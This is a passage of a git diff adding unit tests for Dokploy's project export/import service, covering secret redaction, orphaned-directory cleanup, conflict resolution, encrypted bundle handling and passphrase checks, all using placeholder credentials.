"bind", + content: null, + createdAt: "2024-01-01", + }, + ], + redirects: [], + security: [ + { + securityId: "sec-1", + username: "admin", + password: "basicauthpass", + createdAt: "2024-01-01", + }, + ], + ports: [], + schedules: [], + volumeBackups: [], +}; + +const application2 = { + applicationId: "app-2", + name: "app-2", + appName: "app-two", + environmentId: "env-2", + env: "", + serverId: "server-1", + createdAt: "2024-01-01T00:00:00.000Z", + domains: [], + mounts: [], + redirects: [], + security: [], + ports: [], + schedules: [], + volumeBackups: [], +}; + +const postgres1 = { + postgresId: "pg-1", + name: "pg-1", + appName: "pg-one", + environmentId: "env-1", + env: "PGPASS=supersecret", + databasePassword: "realdbpassword", + serverId: "server-1", + createdAt: "2024-01-01T00:00:00.000Z", + mounts: [], + backups: [ + { + backupId: "backup-1", + createdAt: "2024-01-01T00:00:00.000Z", + metadata: { + mariadb: { databaseUser: "u", databasePassword: "metasecret" }, + }, + }, + ], + volumeBackups: [], +}; + +const mysql1 = { + mysqlId: "mysql-1", + name: "mysql-1", + appName: "mysql-one", + environmentId: "env-1", + env: "", + serverId: "server-1", + createdAt: "2024-01-01T00:00:00.000Z", + mounts: [], + backups: [], + volumeBackups: [], +}; + +const emptyServiceArrays = { + mariadb: [], + mongo: [], + redis: [], + libsql: [], + compose: [], +}; + +const projectTree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [application1], + postgres: [postgres1], + mysql: [mysql1], + ...emptyServiceArrays, + }, + { + environmentId: "env-2", + name: "staging", + projectId: "project-1", + env: "", + isDefault: false, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [application2], + postgres: [], + mysql: [], + ...emptyServiceArrays, + }, + ], +}; + +const fakeDb = (): TransferDb => + ({ + query: { + projects: { + findFirst: async () => projectTree, + }, + environments: { + findFirst: async () => undefined, + }, + applications: { + findMany: async () => [application1, application2], + findFirst: async () => undefined, + }, + schedules: { + findMany: async () => [], + }, + volumeBackups: { + findMany: async () => [], + }, + }, + }) as any; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +const noopOpts = { + detectRequirements: () => [], + detectWarnings: () => [], +}; + +describe("capture", () => { + it("throws CaptureNotFoundError when the project doesn't exist", async () => { + const db = { + query: { + projects: { findFirst: async () => undefined }, + environments: { findFirst: async () => undefined }, + }, + } as any as TransferDb; + await expect( + capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts), + ).rejects.toThrow(CaptureNotFoundError); + }); + + it("filters by environmentIds and serviceIds", async () => { + const result = await capture( + fakeDb(), + { kind: "project", id: "project-1" }, + { + ...baseScope, + environmentIds: ["env-1"], + serviceIds: ["app-1", "pg-1"], + }, + noopOpts, + ); + + expect(result.resources.environments).toHaveLength(1); + expect(result.resources.environments[0]?.environmentId).toBe("env-1"); + expect(result.resources.services).toHaveLength(2); + const ids = result.resources.services + .map((s) => (s.applicationId ?? s.postgresId) as string) + .sort(); + expect(ids).toEqual(["app-1", "pg-1"]); + }); + + it("never leaks NEVER_EXPORT_FIELDS", async () => { + const result = await capture( + fakeDb(), + { kind: "project", id: "project-1" }, + baseScope, + noopOpts, + ); + + const serialized = JSON.stringify(result.resources); + for (const forbidden of [ + "server-1", + "gh-1", + "webhook-token-1", + "2024-01-01T00:00:00.000Z", + ]) { + expect(serialized).not.toContain(forbidden); + } + }); + + it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => { + const result = await capture( + fakeDb(), + { kind: "project", id: "project-1" }, + baseScope, + noopOpts, + ); + + const serialized = JSON.stringify(result.resources); + expect(serialized).not.toContain("hunter2"); + expect(serialized).not.toContain("abc123"); + expect(serialized).not.toContain("supersecret"); + expect(serialized).not.toContain("basicauthpass"); + expect(serialized).not.toContain("server { listen 80; }"); + expect(serialized).not.toContain("realdbpassword"); + expect(serialized).not.toContain("metasecret"); + + const pg1Resource = result.resources.services.find( + (s) => s.postgresId === "pg-1", + ) as Record; + expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/); + expect( + result.secretsPlain.get( + String(pg1Resource.databasePassword).slice("$secret:".length), + ), + ).toBe("realdbpassword"); + const pgBackups = pg1Resource.backups as Record[]; + expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/); + + const app1Resource = result.resources.services.find( + (s) => s.applicationId === "app-1", + ) as Record; + expect(app1Resource.env).toMatch( + /^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/, + ); + + const dbPassId = (app1Resource.env as string).match( + /DB_PASS=\$secret:([^\n]+)/, + )?.[1]; + expect(dbPassId).toBeDefined(); + expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2"); + + const mounts = app1Resource.mounts as Record[]; + const fileMount = mounts.find((m) => m.mountId === "mount-1"); + expect(String(fileMount?.content)).toMatch(/^\$secret:/); + const bindMount = mounts.find((m) => m.mountId === "mount-2"); + expect(bindMount?.content).toBeNull(); + + const security = app1Resource.security as Record[]; + expect(String(security[0]?.password)).toMatch(/^\$secret:/); + }); + + it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => { + const result = await capture( + fakeDb(), + { kind: "project", id: "project-1" }, + { ...baseScope, includeEnvSecrets: false }, + noopOpts, + ); + + expect(result.secretsPlain.size).toBe(0); + const app1Resource = result.resources.services.find( + (s) => s.applicationId === "app-1", + ) as Record; + expect(app1Resource.env).toBe( + "DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED", + ); + }); + + it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => { + const db = { + query: { + ...(fakeDb() as any).query, + vaultProvider: { + findFirst: async () => ({ + vaultProviderId: "vault-1", + name: "prod", + providerType: "hashicorp", + organizationId: "org-1", + config: { token: "s.super-secret-vault-token" }, + assignments: [ + { projectId: "old-project", environmentIds: ["old-env"] }, + ], + }), + }, + }, + } as any as TransferDb; + + const result = await capture( + db, + { kind: "project", id: "project-1" }, + { ...baseScope, shared: { vaultProvider: "value" } }, + { + detectRequirements: () => [ + { + kind: "vault", + originalId: "vault-1", + configIncluded: true, + usedBy: [], + providerName: "prod", + providerType: "hashicorp", + secretKeys: [], + }, + ], + detectWarnings: () => [], + }, + ); + + const serialized = JSON.stringify(result.resources.shared); + expect(serialized).not.toContain("s.super-secret-vault-token"); + expect(serialized).not.toContain("old-project"); + + const [vaultRow] = result.resources.shared.vault ?? []; + expect(String(vaultRow?.config)).toMatch(/^\$secret:/); + const secretId = String(vaultRow?.config).slice("$secret:".length); + expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({ + token: "s.super-secret-vault-token", + }); + expect(vaultRow?.assignments).toBeUndefined(); + }); + + it("builds an inventory reflecting the filtered scope", async () => { + const result = await capture( + fakeDb(), + { kind: "project", id: "project-1" }, + { ...baseScope, environmentIds: ["env-1"] }, + noopOpts, + ); + + expect(result.inventory.environments).toHaveLength(1); + expect(result.inventory.environments[0]).toMatchObject({ + id: "env-1", + services: { application: 1, postgres: 1, mysql: 1 }, + }); + expect(result.inventory.totals.domain).toBe(1); + expect(result.inventory.totals.mount).toBe(2); + }); + + it("excludes backup schedules when scope.includeBackupSchedules is false", async () => { + const result = await capture( + fakeDb(), + { kind: "project", id: "project-1" }, + { ...baseScope, includeBackupSchedules: false }, + noopOpts, + ); + + const postgresRow = result.resources.services.find( + (service) => service.kind === "postgres", + ); + expect(postgresRow?.backups).toEqual([]); + expect(result.inventory.totals.backup).toBeUndefined(); + }); +}); + +describe("capture project tags", () => { + it("flattens projectTags into resources.project.tags", async () => { + const db = fakeDb(); + (db.query.projects as any).findFirst = async () => ({ + ...projectTree, + projectTags: [ + { tag: { tagId: "t-1", name: "prod", color: "#f00" } }, + { tag: { tagId: "t-2", name: "billing", color: null } }, + ], + }); + const result = await capture( + db, + { kind: "project", id: "project-1" }, + baseScope, + noopOpts, + ); + expect(result.resources.project.tags).toEqual([ + { name: "prod", color: "#f00" }, + { name: "billing", color: null }, + ]); + expect(result.resources.project).not.toHaveProperty("projectTags"); + }); + + it("forces vault and dns providers to reference when env secrets are excluded", async () => { + const db = fakeDb(); + (db.query as any).dnsProvider = { + findMany: async () => [ + { dnsProviderId: "dns-1", name: "cf", config: {} }, + ], + }; + const result = await capture( + db, + { kind: "project", id: "project-1" }, + { + ...baseScope, + includeEnvSecrets: false, + shared: { dnsProvider: "value", vaultProvider: "value" }, + }, + noopOpts, + ); + expect(result.resources.shared.dnsProvider).toBeUndefined(); + }); +}); diff --git a/apps/dokploy/__test__/export-import/cleanup.test.ts b/apps/dokploy/__test__/export-import/cleanup.test.ts new file mode 100644 index 000000000..0937eeabd --- /dev/null +++ b/apps/dokploy/__test__/export-import/cleanup.test.ts @@ -0,0 +1,134 @@ +import { existsSync } from "node:fs"; +import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { + createExportJob, + createImportJob, + sweepOrphanedTransferDirectories, + sweepRemoteTransferDirectories, +} from "@dokploy/server/services/project-export-import"; +import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { ...actual, execAsyncRemote: vi.fn() }; +}); + +let root: string; + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), "transfer-cleanup-")); +}); + +afterEach(async () => { + await rm(root, { recursive: true, force: true }); +}); + +const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any; + +const makeStaleDir = async (name: string) => { + const dir = join(root, name); + await mkdir(dir, { recursive: true }); + const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000); + await utimes(dir, staleTime, staleTime); + return dir; +}; + +describe("sweepOrphanedTransferDirectories", () => { + it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => { + const dir = await makeStaleDir("orphaned-export-1"); + + await sweepOrphanedTransferDirectories(fakePaths); + + expect(existsSync(dir)).toBe(false); + }); + + it("leaves a fresh directory alone regardless of job state", async () => { + const dir = join(root, "fresh-export-1"); + await mkdir(dir, { recursive: true }); + + await sweepOrphanedTransferDirectories(fakePaths); + + expect(existsSync(dir)).toBe(true); + }); + + it("does not delete a stale-by-mtime directory that still has a live export job record", async () => { + const exportId = "export-still-running-1"; + createExportJob(exportId, "user-1", "org-1"); + const dir = await makeStaleDir(exportId); + + await sweepOrphanedTransferDirectories(fakePaths); + + expect(existsSync(dir)).toBe(true); + }); + + it("does not delete a stale-by-mtime directory that still has a live import job record", async () => { + const importId = "import-still-running-1"; + createImportJob(importId, "user-1", "org-1"); + const dir = await makeStaleDir(importId); + + await sweepOrphanedTransferDirectories(fakePaths); + + expect(existsSync(dir)).toBe(true); + }); +}); + +describe("sweepRemoteTransferDirectories", () => { + it("removes every workspace and bundle on the server that has no live job", async () => { + createExportJob("remote-live-1", "user-1", "org-1"); + vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({ + stdout: command.startsWith("find ") + ? [ + "remote-orphan-1", + "remote-orphan-1.dokploy.tar.gz", + "remote-live-1", + "remote-live-1.dokploy.tar.gz", + ] + .map((name) => `/etc/dokploy/transfer/${name}\n`) + .join("") + : "", + stderr: "", + })); + + await sweepRemoteTransferDirectories( + ["server-1"], + 1_700_000_000_000, + () => + ({ + PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer", + }) as any, + ); + + expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain( + "! -newermt @1700000000", + ); + const removed = vi + .mocked(execAsyncRemote) + .mock.calls.map(([, command]) => command) + .filter((command) => command.startsWith("rm ")); + expect(removed).toEqual([ + "rm -rf '/etc/dokploy/transfer/remote-orphan-1'", + "rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'", + ]); + }); + + it("keeps going when one server is unreachable", async () => { + vi.mocked(execAsyncRemote) + .mockReset() + .mockRejectedValueOnce(new Error("ssh down")) + .mockResolvedValue({ stdout: "", stderr: "" }); + + await expect( + sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths), + ).resolves.toBeUndefined(); + expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([ + "down", + "up", + ]); + }); +}); diff --git a/apps/dokploy/__test__/export-import/conflicts.test.ts b/apps/dokploy/__test__/export-import/conflicts.test.ts new file mode 100644 index 000000000..4d3f8fb46 --- /dev/null +++ b/apps/dokploy/__test__/export-import/conflicts.test.ts @@ -0,0 +1,265 @@ +import type { + Conflict, + Plan, + Snapshot, + TransferWriteDb, +} from "@dokploy/server/services/project-export-import"; +import { + apply, + resolveConflicts, + resolvedProjectName, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const conflict = ( + kind: Conflict["kind"], + value: string, + options: Conflict["options"], +): Conflict => ({ + kind, + value, + existingId: `existing-${kind}`, + usedBy: [], + options, +}); + +describe("resolveConflicts", () => { + const conflicts = [ + conflict("domain", "api.example.com", ["rename", "skip"]), + conflict("port", "8080", ["rename", "skip", "keep"]), + conflict("projectName", "shop", ["rename"]), + conflict("network", "shared-net", ["keep", "rename", "skip"]), + ]; + + it("applies safe defaults per kind", () => { + expect(resolveConflicts(conflicts, undefined)).toEqual({ + "domain:api.example.com": { action: "skip" }, + "port:8080": { action: "skip" }, + "projectName:shop": { action: "rename", value: "shop (imported)" }, + "network:shared-net": { action: "keep" }, + }); + }); + + it("keeps valid user choices and falls back for invalid ones", () => { + const resolved = resolveConflicts(conflicts, { + "domain:api.example.com": { action: "rename", value: "api2.example.com" }, + "port:8080": { action: "rename", value: "not-a-port" }, + "projectName:shop": { action: "skip" }, + "network:shared-net": { action: "rename", value: "shared-net-2" }, + }); + expect(resolved["domain:api.example.com"]).toEqual({ + action: "rename", + value: "api2.example.com", + }); + expect(resolved["port:8080"]).toEqual({ action: "skip" }); + expect(resolved["projectName:shop"]).toEqual({ + action: "rename", + value: "shop (imported)", + }); + expect(resolved["network:shared-net"]).toEqual({ + action: "rename", + value: "shared-net-2", + }); + }); + + it("resolves the project name from the rename choice", () => { + expect( + resolvedProjectName( + { kind: "newProject", name: "shop" }, + { "projectName:shop": { action: "rename", value: " shop-2 " } }, + ), + ).toBe("shop-2"); + expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe( + "shop", + ); + }); +}); + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-src", name: "shop", env: "" }, + environments: [{ environmentId: "env-1", name: "production", env: "" }], + services: [ + { + kind: "application", + applicationId: "app-1", + appName: "web-abc123", + environmentId: "env-1", + networkIds: ["net-src"], + domains: [ + { domainId: "dom-1", host: "api.example.com", enabled: true }, + { domainId: "dom-2", host: "admin.example.com", enabled: true }, + ], + ports: [ + { portId: "p-1", publishedPort: 8080, targetPort: 80 }, + { portId: "p-2", publishedPort: 9090, targetPort: 90 }, + { portId: "p-3", publishedPort: 7070, targetPort: 70 }, + ], + }, + ], + shared: { + network: [{ networkId: "net-src", name: "shared-net", serverId: null }], + }, + }, + requirements: [ + { + kind: "network", + originalId: "net-src", + configIncluded: true, + usedBy: [], + name: "shared-net", + }, + ], + warnings: [], + dumps: [], +}; + +const runApply = async ( + conflictResolutions: Plan["conflictResolutions"], + networkResolution: "keep" | "rename" | "skip", +) => { + const { applications, domains, environments, network, ports, projects } = + await import("@dokploy/server/db/schema"); + const inserted = new Map[]>(); + let counter = 0; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row: Record = { + ...values, + id: `row-${++counter}`, + }; + if (table === projects) row.projectId = "project-new"; + if (table === environments) row.environmentId = "env-new"; + if (table === network) row.networkId = "net-new"; + if (table === applications) row.applicationId = "app-new"; + if (table === domains) row.domainId = `dom-new-${counter}`; + const list = inserted.get(table) ?? []; + list.push(row); + inserted.set(table, list); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as unknown as TransferWriteDb; + + const plan: Plan = { + target: { kind: "newProject", name: "shop" }, + resolutions: { + "network:net-src": { + requirementKey: "network:net-src", + action: "create", + }, + }, + serverMap: { null: null }, + appNameMap: { "web-abc123": "web-xyz789" }, + domainStrategy: { custom: "keep" }, + portsStrategy: "keep", + rotateDatabaseCredentials: false, + conflicts: [ + conflict("projectName", "shop", ["rename"]), + conflict("domain", "api.example.com", ["rename", "skip"]), + conflict("domain", "admin.example.com", ["rename", "skip"]), + conflict("port", "8080", ["rename", "skip", "keep"]), + conflict("port", "9090", ["rename", "skip", "keep"]), + conflict("network", "shared-net", ["keep", "rename", "skip"]), + ], + conflictResolutions: { + ...conflictResolutions, + "network:shared-net": + networkResolution === "rename" + ? { action: "rename", value: "shared-net-2" } + : { action: networkResolution }, + }, + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 2, dumps: 0 }, + }; + + const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest"); + return { + result, + project: inserted.get(projects)?.[0], + domains: inserted.get(domains) ?? [], + ports: inserted.get(ports) ?? [], + networks: inserted.get(network) ?? [], + application: inserted.get(applications)?.[0], + }; +}; + +describe("apply consumes conflict resolutions", () => { + it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => { + const out = await runApply( + { + "projectName:shop": { action: "rename", value: "shop-2" }, + "domain:api.example.com": { + action: "rename", + value: "api-2.example.com", + }, + "domain:admin.example.com": { action: "skip" }, + "port:8080": { action: "skip" }, + "port:9090": { action: "rename", value: "9091" }, + }, + "keep", + ); + expect(out.project?.name).toBe("shop-2"); + expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([ + ["api-2.example.com", true], + ["admin.example.com", false], + ]); + expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]); + expect(out.networks).toEqual([]); + expect(out.application?.networkIds).toEqual(["existing-network"]); + expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" }); + }); + + it("creates the network under a new name when renamed, and drops it when skipped", async () => { + const renamed = await runApply({}, "rename"); + expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]); + expect(renamed.application?.networkIds).toEqual(["net-new"]); + + const skipped = await runApply({}, "skip"); + expect(skipped.networks).toEqual([]); + expect(skipped.application?.networkIds).toEqual([]); + expect( + skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"), + ).toBe(true); + }); +}); diff --git a/apps/dokploy/__test__/export-import/crypto.test.ts b/apps/dokploy/__test__/export-import/crypto.test.ts new file mode 100644 index 000000000..2ac1d4fa1 --- /dev/null +++ b/apps/dokploy/__test__/export-import/crypto.test.ts @@ -0,0 +1,183 @@ +import { + createReadStream, + createWriteStream, + mkdtempSync, + readFileSync, + rmSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { Readable, Writable } from "node:stream"; +import { pipeline } from "node:stream/promises"; +import { + decryptField, + deriveKeys, + encryptField, + gcmDecryptStream, + gcmEncryptStream, + makeKeyCheck, + TransferCryptoError, + verifyKeyCheck, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +describe("deriveKeys", () => { + it("rejects a passphrase shorter than 12 characters", async () => { + await expect(deriveKeys("short")).rejects.toThrow(); + }); + + it("derives the same keys from the same passphrase and salt", async () => { + const first = await deriveKeys("correct-horse-battery-staple"); + const second = await deriveKeys("correct-horse-battery-staple", first.salt); + expect(second.kEnc.equals(first.kEnc)).toBe(true); + expect(second.salt).toBe(first.salt); + }); + + it("derives different keys for a different salt", async () => { + const first = await deriveKeys("correct-horse-battery-staple"); + const second = await deriveKeys("correct-horse-battery-staple"); + expect(second.salt).not.toBe(first.salt); + expect(second.kEnc.equals(first.kEnc)).toBe(false); + }); + + it("derives different keys for a different passphrase with the same salt", async () => { + const first = await deriveKeys("correct-horse-battery-staple"); + const second = await deriveKeys("another-passphrase-entirely", first.salt); + expect(second.kEnc.equals(first.kEnc)).toBe(false); + }); +}); + +describe("encryptField / decryptField", () => { + it("round-trips a plaintext value", async () => { + const { kEnc } = await deriveKeys("correct-horse-battery-staple"); + const entry = encryptField(kEnc, "secret-1", "hunter2"); + expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2"); + }); + + it("fails when the AAD (id) differs from the one used to encrypt", async () => { + const { kEnc } = await deriveKeys("correct-horse-battery-staple"); + const entry = encryptField(kEnc, "secret-1", "hunter2"); + expect(() => decryptField(kEnc, "secret-2", entry)).toThrow( + TransferCryptoError, + ); + }); + + it("fails when decrypting with a different key", async () => { + const { kEnc } = await deriveKeys("correct-horse-battery-staple"); + const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!"); + const entry = encryptField(kEnc, "secret-1", "hunter2"); + expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow( + TransferCryptoError, + ); + }); +}); + +describe("makeKeyCheck / verifyKeyCheck", () => { + it("verifies with the correct passphrase", async () => { + const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple"); + const keyCheck = makeKeyCheck(kEnc); + const { kEnc: reDerived } = await deriveKeys( + "correct-horse-battery-staple", + salt, + ); + expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true); + }); + + it("fails with the wrong passphrase", async () => { + const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple"); + const keyCheck = makeKeyCheck(kEnc); + const { kEnc: wrongKEnc } = await deriveKeys( + "totally-wrong-passphrase", + salt, + ); + expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false); + }); +}); + +describe("gcmDecryptStream edge cases", () => { + it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => { + const { kEnc } = await deriveKeys("correct-horse-battery-staple"); + const encrypt = async (bytes: Buffer) => { + const chunks: Buffer[] = []; + await pipeline( + Readable.from([bytes]), + gcmEncryptStream(kEnc), + new Writable({ + write(chunk, _encoding, callback) { + chunks.push(chunk); + callback(); + }, + }), + ); + return Buffer.concat(chunks); + }; + const decrypt = async (bytes: Buffer, chunkSize: number) => { + const chunks: Buffer[] = []; + const pieces: Buffer[] = []; + for (let i = 0; i < bytes.length; i += chunkSize) { + pieces.push(bytes.subarray(i, i + chunkSize)); + } + await pipeline( + Readable.from(pieces), + gcmDecryptStream(kEnc), + new Writable({ + write(chunk, _encoding, callback) { + chunks.push(chunk); + callback(); + }, + }), + ); + return Buffer.concat(chunks); + }; + + const empty = await encrypt(Buffer.alloc(0)); + expect(empty.length).toBe(12 + 16); + expect((await decrypt(empty, 1)).length).toBe(0); + + const small = await encrypt(Buffer.from("hello world, 21 bytes")); + expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes"); + + await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow( + TransferCryptoError, + ); + }); +}); + +describe("gcmEncryptStream / gcmDecryptStream", () => { + it("round-trips a file and rejects a flipped byte", async () => { + const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-")); + try { + const { kEnc } = await deriveKeys("correct-horse-battery-staple"); + const plain = join(dir, "plain.bin"); + const enc = join(dir, "plain.enc"); + const out = join(dir, "plain.out"); + writeFileSync(plain, Buffer.alloc(100_000, 7)); + await pipeline( + createReadStream(plain), + gcmEncryptStream(kEnc), + createWriteStream(enc), + ); + expect(readFileSync(enc).length).toBe(100_000 + 12 + 16); + await pipeline( + createReadStream(enc), + gcmDecryptStream(kEnc), + createWriteStream(out), + ); + expect(readFileSync(out).equals(readFileSync(plain))).toBe(true); + + const bytes = readFileSync(enc); + bytes[100] = (bytes[100] ?? 0) ^ 0xff; + writeFileSync(enc, bytes); + await expect( + pipeline( + createReadStream(enc), + gcmDecryptStream(kEnc), + createWriteStream(out), + ), + ).rejects.toThrow(TransferCryptoError); + } finally { + rmSync(dir, { recursive: true, force: true }); + } + }); +}); diff --git a/apps/dokploy/__test__/export-import/delivery.test.ts b/apps/dokploy/__test__/export-import/delivery.test.ts new file mode 100644 index 000000000..8c068a88f --- /dev/null +++ b/apps/dokploy/__test__/export-import/delivery.test.ts @@ -0,0 +1,236 @@ +import { + buildBundleObjectKey, + deriveKeys, + EXPORTS_DIRECTORY, + makeKeyCheck, + slugifyProjectName, + verifyBundlePassphrase, +} from "@dokploy/server/services/project-export-import"; +import { execAsync } from "@dokploy/server/utils/process/execAsync"; +import { TRPCError } from "@trpc/server"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { ...actual, execAsync: vi.fn(actual.execAsync) }; +}); + +describe("slugifyProjectName", () => { + it("produces a lowercase, URL-safe slug", () => { + expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project"); + }); + + it("falls back to a generic name for an empty/unslugifiable input", () => { + expect(slugifyProjectName("")).toBe("project"); + }); +}); + +describe("buildBundleObjectKey", () => { + it("always stores bundles under the fixed exports directory", () => { + const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z"); + expect(key).toBe( + `${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`, + ); + expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import"); + }); +}); + +describe("verifyBundlePassphrase", () => { + it("checks the keyCheck of a manifest read from the head of the object", async () => { + const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple"); + const manifest = { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt, + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: makeKeyCheck(kEnc), + }, + counts: {}, + }; + vi.mocked(execAsync).mockResolvedValueOnce({ + stdout: JSON.stringify(manifest), + stderr: "", + }); + const destination = { bucket: "b", endpoint: "e", region: "r" } as any; + + await expect( + verifyBundlePassphrase( + destination, + "x.dokploy.tar.gz", + "correct-horse-battery-staple", + ), + ).resolves.toMatchObject({ checked: true, valid: true }); + + vi.mocked(execAsync).mockResolvedValueOnce({ + stdout: JSON.stringify(manifest), + stderr: "", + }); + await expect( + verifyBundlePassphrase( + destination, + "x.dokploy.tar.gz", + "wrong-passphrase-here", + ), + ).resolves.toMatchObject({ checked: true, valid: false }); + + vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" }); + await expect( + verifyBundlePassphrase( + destination, + "x.dokploy.tar.gz", + "correct-horse-battery-staple", + ), + ).resolves.toMatchObject({ checked: false }); + expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat"); + expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain( + "tar -xzOf - manifest.json ", + ); + expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain( + "--count 4194304", + ); + }); +}); + +describe("projectExportImportRouter.exportStart on IS_CLOUD", () => { + it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => { + vi.resetModules(); + process.env.IS_CLOUD = "true"; + + vi.doMock( + "@dokploy/server/services/project-export-import", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import") + >(); + return { + ...actual, + assertTransferPermission: vi.fn(async () => ({ role: "owner" })), + }; + }, + ); + + const { projectExportImportRouter } = await import( + "../../server/api/routers/project-export-import" + ); + const caller = projectExportImportRouter.createCaller({ + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1", email: "a@b.com" }, + } as any); + + await expect( + caller.exportStart({ + projectId: "project-1", + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + passphrase: "correct-horse-battery-staple", + }), + ).rejects.toMatchObject({ code: "BAD_REQUEST" }); + + delete process.env.IS_CLOUD; + vi.doUnmock("@dokploy/server/services/project-export-import"); + vi.resetModules(); + }, 30_000); +}); + +describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => { + it("skips projects with no remote server instead of failing the whole batch", async () => { + vi.resetModules(); + process.env.IS_CLOUD = "true"; + const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] })); + + vi.doMock("@dokploy/server/db", () => ({ + db: { + query: { + 